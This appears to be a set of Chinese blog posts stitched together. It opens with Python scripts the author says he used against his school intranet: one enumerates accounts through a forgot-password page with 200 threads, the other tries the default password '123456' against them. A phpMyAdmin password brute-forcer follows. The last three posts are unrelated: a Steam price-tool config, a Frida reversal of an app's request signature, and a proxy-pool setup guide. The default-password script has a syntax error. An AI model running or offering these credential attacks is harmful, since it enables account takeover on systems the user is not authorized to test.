!> 本文仅供学习交流使用，其他用途与作者无关 前言 最近在学校内网瞎搞，就有了这个脚本，一个用来爆破用户名，另一个用来爆破默认密码。 验证码识别用的是腾讯云的OCR，不过也可以手动打码。 脚本 安装依赖： pip install requests bs4 lxml 爆破用户名 存在的用户名会保存在 users.txt 里 #!/usr/bin/python3 from json import dumps from requests import session import threading from bs4 import BeautifulSoup import requests requests.packages.urllib3.disable_warnings() # 爆破起始ID uid = 0 # 爆破结束ID ends = 30000 # 爆破入口（忘记密码页面） target = 'https://xxxx/forget/security' HEADERS = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'content-type': 'application/x-www-form-urlencoded', 'charset': 'UTF-8', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # 输出文件为 `users.txt` outf = open('users.txt', 'a', encoding='utf-8') def get_id(): global uid raw = str(uid).rjust(4, '0') uid += 1 return raw if uid <= ends else None class Boomer(threading.Thread): def __init__(self, i): self.i = i self.ss = session() self.headers = HEADERS.copy() self.headers['x-requested-with'] = 'XMLHttpRequest' self.flash_token() threading.Thread.__init__(self) def flash_token(self): '''刷新token''' r = self.ss.get(target, headers=HEADERS, verify=False) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, 'lxml') t = soup.select_one( '#forget-security-form > input[type=hidden]:nth-child(1)') tk = t.get('value') if t else None self.headers['x-csrf-token'] = tk if tk == None: print('error') self.ss.headers = self.headers def run(self): print(f'{self.i} 开始') user = get_id() while user: result = self.check_user(user) if result: print(f'{user} 用户存在') outf.write(f'{user} 用户存在\n') outf.flush() else: print(f'{user} 用户不存在') user = get_id() print(f'{self.i} 退出') def check_user(self, uid): error = 0 jd = {} while error < 5: try: data = {'user_name': uid} r = self.ss.post(target, data=data, verify=False) r.encoding = 'utf-8' jd = r.json() break except Exception: self.flash_token() error += 1 if 'question_id' in jd: msg = '该账号未设置密保!' else: msg = jd.get('msg') if jd else None if not msg: with open(f'{self.i}.html', 'w') as f: f.write(dumps(jd)) print('未知错误') return msg == '该账号未设置密保!' def main(): threads = [] # 200是线程数量,可以自行调整 for i in range(0, 200): t = Boomer(i) t.start() threads.append(t) for t in threads: t.join() outf.close() if __name__ == "__main__": main() 爆破默认密码 @> 登陆错误50次就锁IP了，所以手动打码也完全没有问题。 用户名文件为 users.txt，结果保存在 result.txt #!/usr/bin/python3 from urllib.parse import urljoin from requests import session import threading from re import findall from bs4 import BeautifulSoup # 调用腾讯云的验证码识别接口 # from tencen2 import get_tencent_reg # 默认口令 passwd = '123456' # 爆破入口（登陆页面） target = 'https://xxxx/' headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # 输入输出文件 inf = open('users.txt', 'r', encoding='utf-8') outf = open('result.txt', 'w', encoding='utf-8') def get_id(): try: line = inf.readline() i, *_ = line.split() return i except: return None found = True while not found: found = '' in get_id() class Boomer(threading.Thread): def __init__(self, i): self.i = i self.ss = session() self.ss.headers = headers threading.Thread.__init__(self def run(self): print(f'{self.i} 开始') user = get_id() while user: result=check_pass(user, passwd, self.ss) # 尝试登陆两次（验证码识别率不高） if result: print(f'{user} 成功') outf.write(f'{user} 成功\n') else: if result: print(f'{user} 成功') outf.write(f'{user} 成功\n') user = get_id() print(f'{self.i} 退出') def check_pass(user: str, passwd: str, ss: session): def get_token(soup: BeautifulSoup) -> str: '''获取token''' token = soup.select_one('#login-form > input[type=hidden]') return token.get('value') if token else None def get_chapter(soup: BeautifulSoup) -> str: '''获取验证码链接''' chapter = soup.select_one('#loginform-verifycode-image') return chapter.get('src') if chapter else None r = ss.get(target, verify=False) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, 'lxml') token = get_token(soup) chapter = get_chapter(soup) while True: url = urljoin(target, chapter)# 验证码图片地址 with open('yzm.png', 'wb') as f: r = ss.get(url, verify=False) f.write(r.content) # 如果要使用腾讯云OCR的话修改这里就行 print('请输入验证码：') yzm = input() # yzm = (get_tencent_reg('yzm.png') or [''])[0] yzm =''.join(findall(r'[A-Za-z0-9]',str(yzm))) if len(yzm)==4: break else: print(f'验证码识别有误 {yzm}') data = {'_csrf-8800': token, 'LoginForm[username]': user, 'LoginForm[password]': passwd, 'LoginForm[verifyCode]': yzm, 'login-button': ''} r = ss.post(target, data=data, verify=False) r.encoding = 'utf-8' result = '修改密码' in str(r.text) print(user,yzm,'成功' if result else '失败') return result def main(): threads = [] # for i in range(0, 10): # 改成了单线程操作 t = Boomer(1) t.start() threads.append(t) for t in threads: t.join() inf.close() outf.close() if __name__ == "__main__": main() PS:因为测试了几个账号,都没有修改默认密码,加上每小时只能试50条的限制,这个脚本没有真正使用过,不过功能是正常的。 执行效果 配合第二个脚本就可以快速筛选出使用默认密码的账号了
前言 !> 本脚本仅作学习交流使用，请勿用于非法用途 最近在做渗透测试，有一台内网的PhpMyAdmin的机器，想着爆破一下，网上找的脚本或多或少都有点问题，就自己造了一个。 脚本 只支持Python3.4及以上版本 修改 target, user, passdic 三个参数，然后直接运行即可，如果爆破成功会把结果写到success.txt文件里 #!/usr/bin/python3 ''' # @Author : Chr_ # @Date : 2020-12-06 12:39:57 # @LastEditors : Chr_ # @LastEditTime : 2020-12-08 13:16:20 # @Description : PhpMyAdmin爆破脚本 ''' # from requests import session from re import findall from html import unescape # # PMA地址,例如 http://localhost/index.php target = 'http://localhost/index.php' # 要爆破的用户名 user = 'root' # 密码字典文件路径 passdic = 'password.txt' # ss = session() ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} def get_token(text) -> str: '''获取token''' token = findall("name=\"token\" value=\"(.*?)\" />", text) return unescape(token[0]) if token else None def get_title(text) -> str: '''获取标题''' title = findall(' (.*) ', text) return title[0] if title else None def try_login(user, pwd, token): '''尝试登陆''' data = {'pma_username': user, 'pma_password': pwd, 'server': 1, 'target': 'index.php', 'token': token} r = ss.post(url=target, data=data) return r.text def fuck_pma(): '''爆破''' with open(passdic, 'r', encoding='utf-8') as f: html = try_login('', '', '') title_fail = get_title(html) token = get_token(html) for line in f: pwd = line.strip() print(f'[?] 尝试登陆 {user} {pwd} ') html = try_login(user, pwd, token) title = get_title(html) token = get_token(html) if title != title_fail: print(f'[√] 登陆成功 {title}') with open('success.txt', 'a', encoding='utf-8') as f: f.write(f'{target} | {user} | {pwd}\n') break else: print(f'[×] 登陆失败 {title}') if __name__ == "__main__": try: fuck_pma() except Exception as e: print(e)
前言 开源地址：Github ，蓝奏云镜像：链接 (密码:cg84) 配置文件说明 [auto] # 可选配置 # 如果配置了下面的值,脚本将会自动代入配置的值 # 如果没有配置,脚本将会要求你输入对应项目 # Steam64位ID,只能为64位ID steamid = 0 # 如果有多个账号,也可以这这么配置 # steamid = [11111,22222,33333] [other] # 其他设置 # 是否在运行结束后显示等待屏幕, 如果是在终端中运行可以禁用 # true: 显示等待屏幕, false: 不显示等待屏幕,直接退出 wait_screen = false [itad] # itad模块设置,用于获取价格信息 # API Token, 必填 # 申请地址: https://new.isthereanydeal.com/apps/mine/ token = "" # 价格区域 # 设置值参考详见附录1 country = "CN" region = "cn" # 货币符号 currency_symbol = '¥' [keylol] # keylol模块设置,用于获取游戏标签,卡牌等信息 # 是否启用keylol模块,禁用的话将使用itad模块替代 # true:启用, false:禁用 enable = false [steam] # Steam网页端语言选项 # schinese代表简中, english代表英文 language = "schinese" # 是否使用小尺寸的游戏图片,改为false将会使用大一些的图片 small_game_pic = true [net] # 代理设置,只支持http协议(不支持socks5) # 如果使用全局模式应该不需要设置 # 非空值: 启用代理, false: 禁用代理 proxy = false # proxy = 'http://127.0.0.1:1081' [output] #输出配置 columns = [''] # 直接在控制台显示 console = true # 打包出了点问题暂时不可用 # markdown格式的输出文件(Typora等软件可以打开) markdown = true # xlsx格式的输出文件(Excel可以打开) xlsx = true # 论坛使用的BBCODE bbcode = true # 导出Json,方便二次开发 json = true [sort] # 排序设置 ################### # 排序功能暂未实装 # ################### # 使用数字表示排序方式,负数表示逆向排序 # 例如: # 1: appid 从小到大 # -1: appid 从大到小 (以下类似) # 0: 不排序 (按照Steam返回的顺序输出) # 1: appid 从小到大 # 2: 史低 -> 近史低 -> 未达史低 ,没有价格的项目始终放在最下面 # 3: 折扣幅度 从小到大 ,没有价格的项目始终放在最下面 # 4: 现价 从低到高 ,没有价格的项目始终放在最下面 # 5: 原价 从低到高 ,没有价格的项目始终放在最下面 # 6: 好评率 从低到高 # 7: 类型 游戏 -> 软件 -> DLC -> 视频 # [0-7]:选择排序依据,如果排名相同会按照appid从小到大排序 index = 1 [filter] # 过滤器设置 # 错误的配置有可能得到意外的结果 # 类似于白名单,【过滤掉】的意思是【删掉】 # 任意规则的值设置为 -1 代表禁用该条规则 # -----其他过滤器--------------------------------------- # true:过滤掉 没有 卡牌的游戏, false/-1:禁用 has_card = -1 # -----价格过滤器--------------------------------------- # 如果游戏未发售,视为 没有价格 # 如果价格获取出错,视为 没有价格 # 免费游戏价格视为 0,但是既不算有价格也不算没有价格 # false:过滤掉 免费 的游戏, true/-1:禁用 price_free = -1 # false:过滤掉 有价格 的游戏, true/-1:禁用 price_set = -1 # false:过滤掉 没有价格 的游戏, true/-1:禁用 price_noset = -1 # 下面的价格过滤器只对有价格的游戏有效,忽略没有价格和免费的游戏 # 任意数值:过滤掉当前价格 低于 设定值的游戏, -1:禁用 price_higher = -1 # 任意数值:过滤掉当前价格 高于 设定值的游戏, -1:禁用 price_lower = -1 # -----折扣过滤器--------------------------------------- # 折扣过滤器只对有价格的游戏有效,忽略没有价格和免费的游戏 # 折扣计算方法: (原价 - 现价) / 原价 * 100 # 免费游戏和没有价格的游戏折扣视为 0 # 未打折折扣视为 0, 限免折扣视为 100 # false:过滤掉 未打折 的游戏, true/-1:禁用 discount_no = -1 # 下面的折扣过滤器只对有折扣的游戏有效,忽略未打折的游戏 # [1-100]:过滤掉当前折扣 低于 设定值的游戏, -1:禁用 discount_higher = -1 # [1-100]:过滤掉当前折扣 高于 设定值的游戏, -1:禁用 discount_lower = -1 # 近史低条件: (现价-史低价) / 原价 <= 5% # 一个游戏只有一种状态,要么是史低,要么是近史低,要么是非史低 # false:过滤掉 未达到 史低或近史低的游戏, true/-1:禁用 discount_not_lowest = -1 # false:过滤掉 达到 史低的游戏, true/-1:禁用 discount_is_lowest = -1 # false:过滤掉 达到 近史低的游戏, true/-1:禁用 discount_almost_lowest = -1 # -----评测过滤器--------------------------------------- # 评价等级说明: # 0:评测数量不足 (未发售和预售游戏会显示这个) # 1->4:差评如潮 -> 特别差评 -> 差评 -> 多半差评 # 5:褒贬不一 # 6->9:多半好评 -> 好评 -> 特别好评 -> 好评如潮 # false:过滤掉 评测数量不足(等级0) 的游戏, true/-1: 禁用 review_no_score = -1 # 下面的过滤器都会 忽略 评测数量不足 的游戏 # [1-9]:过滤掉评价等级 低于 设定值的游戏, 0和-1:禁用 review_score_higher = -1 # [1-9]:过滤掉评价等级 高于 设定值的游戏, 0和-1:禁用 review_score_lower = -1 # [0-100]:过滤掉好评率 低于 设定值的游戏, -1:禁用 review_percent_higher = -1 # [0-100]:过滤掉好评率 高于 设定值的游戏, -1:禁用 review_percent_lower = -1 # 任意数值:过滤掉总评价数 低于 设定值的游戏, -1:禁用 review_total_higher = -1 # 任意数值:过滤掉总评价数 高于 设定值的游戏, -1:禁用 review_total_lower = -1 # -----平台过滤器--------------------------------------- # true: 过滤掉 不支持 Windows的游戏, false: 不过滤, -1: 禁用 platform_windows = -1 # true: 过滤掉 不支持 Mac的游戏, false: 不过滤, -1: 禁用 platform_mac = -1 # true: 过滤掉 不支持 Linux的游戏, false: 不过滤, -1: 禁用 platform_linux = -1 # PS: Steam上真的有不支持Windows的游戏吗? # -----标签过滤器--------------------------------------- # 游戏标签名称由Steam语言决定,不同的语言会获取到不同的标签 # false: 过滤掉 没有 标签的游戏, true/-1:禁用 tags_enpty = -1 # 下面的过滤器都会 忽略 没有 标签的游戏 # 过滤规则示例: # 游戏A: '射击','动漫','动作','弹幕射击' # 游戏B: '视觉小说','动漫','女性主角','冒险','独立' # 游戏C: '休闲','冒险','独立' # tags_include = ['动漫'] -> 过滤后 -> 游戏A,游戏B # tags_include = ['动漫','射击'] -> 过滤后 -> 游戏A # tags_exclude = ['休闲'] -> 过滤后 -> 游戏C # tags_exclude = ['冒险','独立'] -> 过滤后 -> 游戏B,游戏C # 可以只写标签名称的一部分,只要标签中包含设置值就算匹配 # 如果设置了多个标签,则需要每个设置值都被匹配才算通过匹配 # 错误的配置可能得到空结果,例如: # tags_include = ['射击游戏'] -> 过滤后 -> 无匹配 # 得到空结果的原因是没有游戏有'射击游戏'这个标签 # 任意文本:过滤掉标签 不匹配 规则的游戏, -1: 禁用 tags_include = -1 # tags_include = ['标签1'] # tags_include = ['标签1','标签2'] # 任意文本:过滤掉标签 匹配 规则的游戏, -1: 禁用 tags_exclude = -1 # tags_exclude = ['标签1'] # tags_exclude = ['标签1','标签2'] # 可以设置更多标签,比如['标签1','标签2','标签3','标签4'] 国家区域代码和货币单位参考 区域 货币 Region Country 欧洲 € eu1 AL, AD, AT, BE, DK, FI, FR, DE, IE, LI, LU, MK, NL, SE, CH 欧洲 € eu2 BA, BG, HR, CY, CZ, GR, HU, IT, MT, MC, ME, NO, PL, PT, RO, SM, RS, SK, SI, ES, VA, EE, LV, LT" 英国 £ uk GB 美国 $ us US 加拿大 $ ca CA 巴西 R$ br2 BR 澳大利亚 A$ au2 AU 俄罗斯 py6 ru RU 土耳其 £T tr TR 中国 ¥ cn CN 过滤器配置参考 未完待续
前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] 距离上一篇文章已经过了半年了，最近也是刚好在学逆向相关的内容，就拿以前的工程来练手。 静态分析 还是接着上文，寻找hkey计算方式 可以看到，生成hkey的过程中调用了Native函数encode，这个函数在libnative-lib.so里 解压出so文件，拖进IDA，可以看到伪代码，可以看到一共有5个参数，但是在Java代码中是3个参数，前2个参数是不需要的。 尝试直接Hook，但是只能得到看不懂的结果，应该都是字符串地址。 我们换个思路，从return开始分析 int __fastcall encode(int a1, int a2, int a3, int a4, int a5) { const char *v5; // r10 int v6; // r4 int v7; // r6 int v8; // r8 const char *v9; // r11 int v10; // r0 bool v11; // zf size_t v12; // r5 char *v13; // r5 char *v14; // r0 size_t v15; // r0 char *v16; // r0 int v17; // r5 int result; // r0 int v19; // [sp+0h] [bp-30h] int *v20; // [sp+4h] [bp-2Ch] int v21; // [sp+8h] [bp-28h] int v22; // [sp+Ch] [bp-24h] v19 = a4; v6 = a1; // v6 是第一个参数 v7 = a4; if ( j_check_signature(a1) == 1 ) // 看名字应该是验证签名的方法 { v8 = 0; v9 = (const char *)(*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)v6 + 676))(v6, v7, 0); v10 = (*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)v6 + 676))(v6, a5, 0); v11 = v9 == 0; if ( v9 ) { v5 = (const char *)v10; v11 = v10 == 0; } if ( !v11 ) { v21 = a5; v12 = strlen(v9); v20 = &v19; v13 = (char *)&v19 - ((strlen(v5) + v12 + 21) & 0xFFFFFFF8); v14 = strcpy(v13, v9); v15 = strlen(v14); _aeabi_memcpy(&v13[v15], "/bfhdkud_time=", 15); v16 = strcat(v13, v5); v17 = j_MDString(v16); // v16 被赋值 (*(void (__fastcall **)(int, int, const char *))(*(_DWORD *)v6 + 680))(v6, v7, v9); (*(void (__fastcall **)(int, int, const char *))(*(_DWORD *)v6 + 680))(v6, v21, v5); v8 = j_charToJstring(v6, v17); // v8 被赋值，值与v6，v17有关 } if ( _stack_chk_guard == v22 ) return v8; // 返回值是 v8 } //正常逻辑应该走不到这里 result = _stack_chk_guard - v22; if ( _stack_chk_guard == v22 ) result = j_j_charToJstring(v6, UNSIGNATURE[0]); return result; } 不难看出，返回值跟j_charToJstring和j_MDString有关，j_大概是一个修饰符，真实函数应该是charToJstring和MDString 找到目标，接下来上Hook。 动态分析 接下来使用 Frida 进行分析，Frida 安装与使用可以参考： [post cid="1301"/] Python 加载器 保存为run.py import sys import frida process_name = 'com.max.xiaoheihe' # 发送信息回调函数 def on_message(message, data): if message['type'] == 'send': print(f"[*] {message['payload']}") else: print(message) if __name__ == '__main__': try: device = frida.get_usb_device() except: device = frida.get_remote_device() if not device: print("* 连接到Frida Server失败") else: process = device.attach(process_name) # 加载JS脚本 js = open('hook.js', encoding='utf-8').read() script = process.create_script(js) script.on('message', on_message) script.load() # 读取返回输入 input() script.unload() Hook代码 保存为hook.js console.log("脚本载入成功"); Java.perform(function () { var charToJstringAddr = Module.findExportByName("libnative-lib.so", "charToJstring"); console.log(charToJstringAddr); if (charToJstringAddr != null) { Interceptor.attach(charToJstringAddr, { onEnter: function (args) { var arg0 = args[0]; var arg1 = args[1]; console.log('charToJstring - Enter'); console.log(arg0, Memory.readCString(arg0)); console.log(arg1, Memory.readCString(arg1)); }, onLeave: function (retval) { //retval函数返回值 console.log('charToJstring - Leave'); console.log(retval.toString()); console.log('======'); } }); } var MDStringAddr = Module.findExportByName("libnative-lib.so", "MDString"); console.log(MDStringAddr); if (MDStringAddr != null) { Interceptor.attach(MDStringAddr, { onEnter: function (args) { var arg0 = args[0]; var arg1 = args[1]; console.log('MDString - Enter'); console.log(arg0, Memory.readCString(arg0)); console.log(arg1, Memory.readCString(arg1)); }, onLeave: function (retval) { console.log('MDString - Leave'); console.log(retval.toString()); console.log('======'); } }); } }) 不难看出，MDString的输入是特定的拼接字符串，MDString的输出是charToJstring的输入，而且是一个32位哈希值，推测是MD5 试了一下，果真是MD5 所以encode的逻辑是把url的路径部分，拼上/bfhdkud_time=，再加上秒级时间戳，然后返回整个字符串的MD5哈希 Python 实现 稍微整理了一下Java代码： String path = get_url_path(str); String time = (System.currentTimeMillis() / 1000) + ""; if (path.endsWith("/")) { path = path.substring(0, i.length() - 1); //去除path结尾的"/" } String hkey = get_MD5(NDKTools.encode(HeyBoxApplication.f(), path, time).replaceAll("a", "app").replaceAll("0", "app")).substring(0, 10); 接下来换成Python实现 import time import hashlib from urllib.parse import urlparse def gen_hkey(url: str,t:int) -> str: def url_to_path(url: str) -> str: path = urlparse(url).path if path and path[-1] == '/': path = path[:-1] return(path) def get_md5(data: str): md5 = hashlib.md5() md5.update(data.encode('utf-8')) result = md5.hexdigest() return(result) h = f'{url_to_path(url)}/bfhdkud_time={t}' h = get_md5(h) h = h.replace('a', 'app') h = h.replace('0', 'app') h = get_md5(h) h = h[:10] return(h) t=time.time() h=gen_hkey('https://api.xiaoheihe.cn/bbs/app/feeds/news',t) print('time: ',t) print('hkey: ',h) 后续 [post cid="1365"/]
前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 [...]
前言 [post cid="1260" /] 可以参考另一篇文章，一个更高效的代理池程序，本文仅作存档 因为某个还处于脑海中的项目需要一个代理池，所以从GitHub上找了一个，记录一下部署的过程。 开源项目地址：链接 安装过程 创建虚拟环境 亲测使用较新的依赖库会有小问题，而且此项目的requirements.txt里所有的依赖版本都是写死的，所以最好创建一个虚拟环境。 安装virtualenv pip3 install virtualenv 创建纯净的虚拟环境 virtualenv --no-site-packages [环境名称] 激活虚拟环境 cd [环境名称] source ./bin/activate 当看到命令提示符前缀改变了，就说明虚拟环境切换成功了。 克隆仓库 git clone https://github.com/jhao104/proxy_pool 安装依赖 cd proxy_pool pip3 install -r requirements.txt 配置数据库、访问端口 配置文件路径proxy_pool/Config/setting.py #第36行 DB_TYPE = getenv('db_type', 'REDIS').upper() #可以是'SSDB'或者'REDIS' DB_HOST = getenv('db_host', '127.0.0.1') #数据库IP DB_PORT = getenv('db_port', '6379') #数据库端口 DB_PASSWORD = getenv('db_password', '') #第68行 SERVER_API = { "HOST": "127.0.0.1", #代理池绑定的IP，为了安全起见，只允许本地访问 "PORT": 5010 #代理池绑定的端口 } 修改启动脚本 文件路径proxy_pool/cli/start.sh 替换原有内容： #!/usr/bin/env bash source ~/venv/bin/activate python3.6 proxyPool.py webserver & python3.6 proxyPool.py schedule 自定义API【可选】 文件路径proxy_pool/Api/ProxyApi.py 第50-85行，可以根据需要修改API，我删掉了delete、'refresh'这两个API @app.route('/') def index(): return api_list # @app.route('/get/') def get(): proxy = ProxyManager().get() return proxy.info_json if proxy else {"code": 0, "src": "no proxy"} # @app.route('/refresh/') def refresh(): # TODO refresh会有守护程序定时执行，由api直接调用性能较差，暂不使用 # ProxyManager().refresh() pass return 'success' # @app.route('/get_all/') def getAll(): proxies = ProxyManager().getAll() return [_.info_dict for _ in proxies] # @app.route('/delete/', methods=['GET']) def delete(): proxy = request.args.get('proxy') ProxyManager().delete(proxy) return {"code": 0, "src": "success"} # @app.route('/get_status/') def getStatus(): status = ProxyManager().getNumber() return status 添加获取纯代理API @app.route('/get_raw/') def getRaw(): proxy = ProxyManager().get() return proxy.proxy if proxy else {"code": 0, "src": "no proxy"} # @app.route('/get_all_raw/') def getAllRaw(): proxies = ProxyManager().getAll() return '\n'.join([_.proxy for _ in proxies]) if proxies else {"code": 0, "src": "no proxy"} 添加错误页处理 @app.errorhandler(404) @app.errorhandler(403) @app.errorhandler(502) @app.errorhandler(500) def error_page(e): return api_list #出错显示API信息，也可以使用redirect重定向。 运行 建议使用screen开一个虚拟终端运行 screen -S proxy_pool 启动服务 ./start.sh 使用 API地址 方法 说明 参数 / GET api介绍 - /get GET 随机获取一个代理 - /get_raw GET 随机获取一个代理，去除无关信息 - /get_all GET 获取所有代理 - /get_all_raw GET 获取所有代理，去除无关信息 - /get_status GET 查看代理数量 - /delete GET 删除代理 proxy=host:ip 例如，想获取服务器状态就可以访问http://127.0.0.1:5010/get_status/ Nginx反代【可选】 添加到server{}里面 location / { proxy_pass http://127.0.0.1:5010/; proxy_set_header Host $host; } 安全性 另外创建一个用户来运行该服务， 将整个虚拟环境以及proxy_pool放进该用户的home目录，修改属主，并设置权限为700 使用su - [用户名]切换用户名，然后使用该用户运行代理池程序